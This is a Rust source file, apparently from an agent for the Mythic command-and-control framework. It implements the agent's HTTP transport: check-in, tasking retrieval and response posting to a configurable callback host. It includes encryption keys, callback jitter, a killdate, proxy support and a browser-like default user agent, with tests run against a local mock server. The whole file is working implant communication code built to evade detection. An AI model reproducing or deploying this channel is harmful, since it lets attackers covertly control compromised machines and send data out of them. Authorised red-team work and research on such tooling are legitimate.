use std::collections::HashMap;
use std::time::Duration;
use base64::{Engine as _, engine::general_purpose::URL_SAFE_NO_PAD};
use ureq::{Agent, Proxy, ProxyProtocol};
use crate::{C2Transport, MythicError, MythicResult, protocol::codec::base64_decode_permissive};
use super::DEFAULT_USER_AGENT;
#[derive(Debug, Clone, serde::Deserialize, serde::Serialize)]
pub struct HttpConfig {
pub aes_psk: Option<String>,
pub callback_host: String,
pub callback_port: u16,
pub callback_interval: u64,
pub callback_jitter: u32,
pub encrypted_exchange_check: bool,
pub get_uri: String,
pub post_uri: String,
pub query_path_name: Option<String>,
#[serde(default)]
pub headers: HashMap<String, String>,
pub killdate: String,
pub proxy_host: Option<String>,
pub proxy_port: Option<u16>,
pub proxy_user: Option<String>,
pub proxy_pass: Option<String>,
#[serde(default)]
pub user_agent: Option<String>,
}
impl Default for HttpConfig {
fn default() -> Self {
Self {
aes_psk: None,
callback_host: String::new(),
callback_port: 80,
callback_interval: 10,
callback_jitter: 23,
encrypted_exchange_check: false,
get_uri: String::new(),
post_uri: String::new(),
query_path_name: Some("id".into()),
headers: HashMap::new(),
killdate: String::new(),
proxy_host: None,
proxy_port: None,
proxy_user: None,
proxy_pass: None,
user_agent: None,
}
}
}
pub struct HttpTransport {
config: HttpConfig,
agent: Agent,
}
impl HttpTransport {
pub fn new(config: HttpConfig) -> MythicResult<Self> {
let agent = build_agent(&config)?;
Ok(Self { config, agent })
}
fn base_url(&self) -> String {
let host = self.config.callback_host.trim_end_matches('/');
if host.contains("://") {
if let Ok(url) = url::Url::parse(host)
&& url.port().is_some()
{
return host.to_string();
}
return format!("{}:{}", host, self.config.callback_port);
}
let scheme = if self.config.callback_port == 443 || self.config.callback_port == 8443 {
"https"
} else {
"http"
};
format!("{}://{}:{}", scheme, host, self.config.callback_port)
}
fn post_url(&self, uri: &str) -> String {
format!("{}/{}", self.base_url(), uri.trim_start_matches('/'))
}
fn get_url(&self, uri: &str) -> String {
format!("{}/{}", self.base_url(), uri.trim_start_matches('/'))
}
fn send_post(&self, uri: &str, body: &str) -> MythicResult<String> {
let url = self.post_url(uri);
let mut req = self.agent.post(&url);
for (k, v) in &self.config.headers {
req = req.header(k.as_str(), v.as_str());
}
let resp = req
.send(body)
.map_err(|e| MythicError::transport(format!("{e}")))?;
read_response(resp)
}
fn send_get(&self, uri: &str, query_name: &str, message: &str) -> MythicResult<String> {
let url = self.get_url(uri);
let encoded = to_urlsafe_no_pad(message)?;
let mut req = self.agent.get(&url).query(query_name, &encoded);
for (k, v) in &self.config.headers {
req = req.header(k.as_str(), v.as_str());
}
let resp = req
.call()
.map_err(|e| MythicError::transport(format!("{e}")))?;
read_response(resp)
}
}
impl C2Transport for HttpTransport {
fn get_aes_psk(&self) -> Option<String> {
self.config.aes_psk.clone()
}
fn set_aes_psk(&mut self, key: &str) -> Option<String> {
self.config.aes_psk = Some(key.to_string());
self.config.aes_psk.clone()
}
fn encrypted_exchange_check(&self) -> bool {
self.config.encrypted_exchange_check
}
fn checkin(&self, packed: &str) -> Result<String, MythicError> {
self.send_post(&self.config.post_uri, packed)
}
fn get_tasking(&self, packed: &str) -> Result<String, MythicError> {
match self.config.query_path_name.as_deref() {
Some(q) if !q.is_empty() => self.send_get(&self.config.get_uri, q, packed),
_ => self.send_post(&self.config.get_uri, packed),
}
}
fn post_response(&self, packed: &str) -> Result<String, MythicError> {
self.send_post(&self.config.post_uri, packed)
}
}
fn to_urlsafe_no_pad(packed: &str) -> MythicResult<String> {
let bytes = base64_decode_permissive(packed)?;
Ok(URL_SAFE_NO_PAD.encode(&bytes))
}
fn read_response(resp: ureq::http::Response<ureq::Body>) -> MythicResult<String> {
let status = resp.status().as_u16();
if status >= 400 {
return Err(MythicError::HttpStatus(status));
}
resp.into_body()
.read_to_string()
.map_err(|e| MythicError::transport(format!("{e}")))
}
fn build_agent(config: &HttpConfig) -> MythicResult<Agent> {
let ua = config
.user_agent
.as_deref()
.filter(|s| !s.is_empty())
.unwrap_or(DEFAULT_USER_AGENT);
let mut builder = Agent::config_builder()
.timeout_global(Some(Duration::from_secs(30)))
.http_status_as_error(false)
.user_agent(ua);
if let (Some(host), Some(port)) = (&config.proxy_host, config.proxy_port) {
let mut proxy_builder = Proxy::builder(ProxyProtocol::Http).host(host).port(port);
if let Some(user) = &config.proxy_user {
proxy_builder = proxy_builder.username(user);
}
if let Some(pass) = &config.proxy_pass {
proxy_builder = proxy_builder.password(pass);
}
let proxy = proxy_builder
.build()
.map_err(|e| MythicError::transport(format!("{e}")))?;
builder = builder.proxy(Some(proxy));
}
Ok(Agent::new_with_config(builder.build()))
}
#[cfg(test)]
mod tests {
use super::*;
use httptest::{Expectation, Server, matchers::*, responders::*};
#[test]
fn http_post_checkin_roundtrip() {
let srv = Server::run();
srv.expect(
Expectation::matching(all_of!(request::method("POST"), request::path("/data")))
.respond_with(status_code(200).body("80844d19-9bfc-47f9-b9af-c6b9144c0fdcOK")),
);
let url = srv.url("/");
let config = HttpConfig {
callback_host: format!("{}://{}", url.scheme_str().unwrap(), url.host().unwrap()),
callback_port: url.port_u16().unwrap_or(80),
post_uri: "data".into(),
get_uri: "index".into(),
..Default::default()
};
let t = HttpTransport::new(config).unwrap();
let resp = t.checkin("hello").unwrap();
assert!(resp.contains("OK"));
}
#[test]
fn http_get_tasking_uses_query_param() {
let srv = Server::run();
srv.expect(
Expectation::matching(all_of!(request::method("GET"), request::path("/index")))
.respond_with(status_code(200).body("resp")),
);
let url = srv.url("/");
let config = HttpConfig {
callback_host: format!("{}://{}", url.scheme_str().unwrap(), url.host().unwrap()),
callback_port: url.port_u16().unwrap_or(80),
post_uri: "data".into(),
get_uri: "index".into(),
query_path_name: Some("id".into()),
..Default::default()
};
let t = HttpTransport::new(config).unwrap();
let resp = t.get_tasking("YWJjMTIz").unwrap();
assert_eq!(resp, "resp");
}
#[test]
fn http_get_tasking_falls_back_to_post_when_no_query_name() {
let srv = Server::run();
srv.expect(
Expectation::matching(all_of!(request::method("POST"), request::path("/index")))
.respond_with(status_code(200).body("post_resp")),
);
let url = srv.url("/");
let config = HttpConfig {
callback_host: format!("{}://{}", url.scheme_str().unwrap(), url.host().unwrap()),
callback_port: url.port_u16().unwrap_or(80),
post_uri: "data".into(),
get_uri: "index".into(),
query_path_name: None,
..Default::default()
};
let t = HttpTransport::new(config).unwrap();
let resp = t.get_tasking("hello").unwrap();
assert_eq!(resp, "post_resp");
}
#[test]
fn http_callback_host_without_scheme_gets_default() {
let srv = Server::run();
srv.expect(
Expectation::matching(all_of!(request::method("POST"), request::path("/data")))
.respond_with(status_code(200).body("ok")),
);
let url = srv.url("/");
let config = HttpConfig {
callback_host: url.host().unwrap().to_string(),
callback_port: url.port_u16().unwrap_or(80),
post_uri: "data".into(),
get_uri: "index".into(),
..Default::default()
};
let t = HttpTransport::new(config).unwrap();
let resp = t.checkin("hello").unwrap();
assert_eq!(resp, "ok");
}
#[test]
fn http_user_agent_is_browser_like_by_default() {
let srv = Server::run();
srv.expect(
Expectation::matching(all_of!(
request::method("GET"),
request::path("/index"),
request::headers(contains(("user-agent", DEFAULT_USER_AGENT)))
))
.respond_with(status_code(200).body("ok")),
);
let url = srv.url("/");
let config = HttpConfig {
callback_host: format!("{}://{}", url.scheme_str().unwrap(), url.host().unwrap()),
callback_port: url.port_u16().unwrap_or(80),
get_uri: "index".into(),
query_path_name: Some("id".into()),
..Default::default()
};
let t = HttpTransport::new(config).unwrap();
t.get_tasking("aGVsbG8=").unwrap();
}
#[test]
fn urlsafe_query_encoding() {
assert_eq!(to_urlsafe_no_pad("YWJjMTIz").unwrap(), "YWJjMTIz");
assert_eq!(
to_urlsafe_no_pad("aGVsbG8/d29ybGQ=").unwrap(),
"aGVsbG8_d29ybGQ"
);
}
}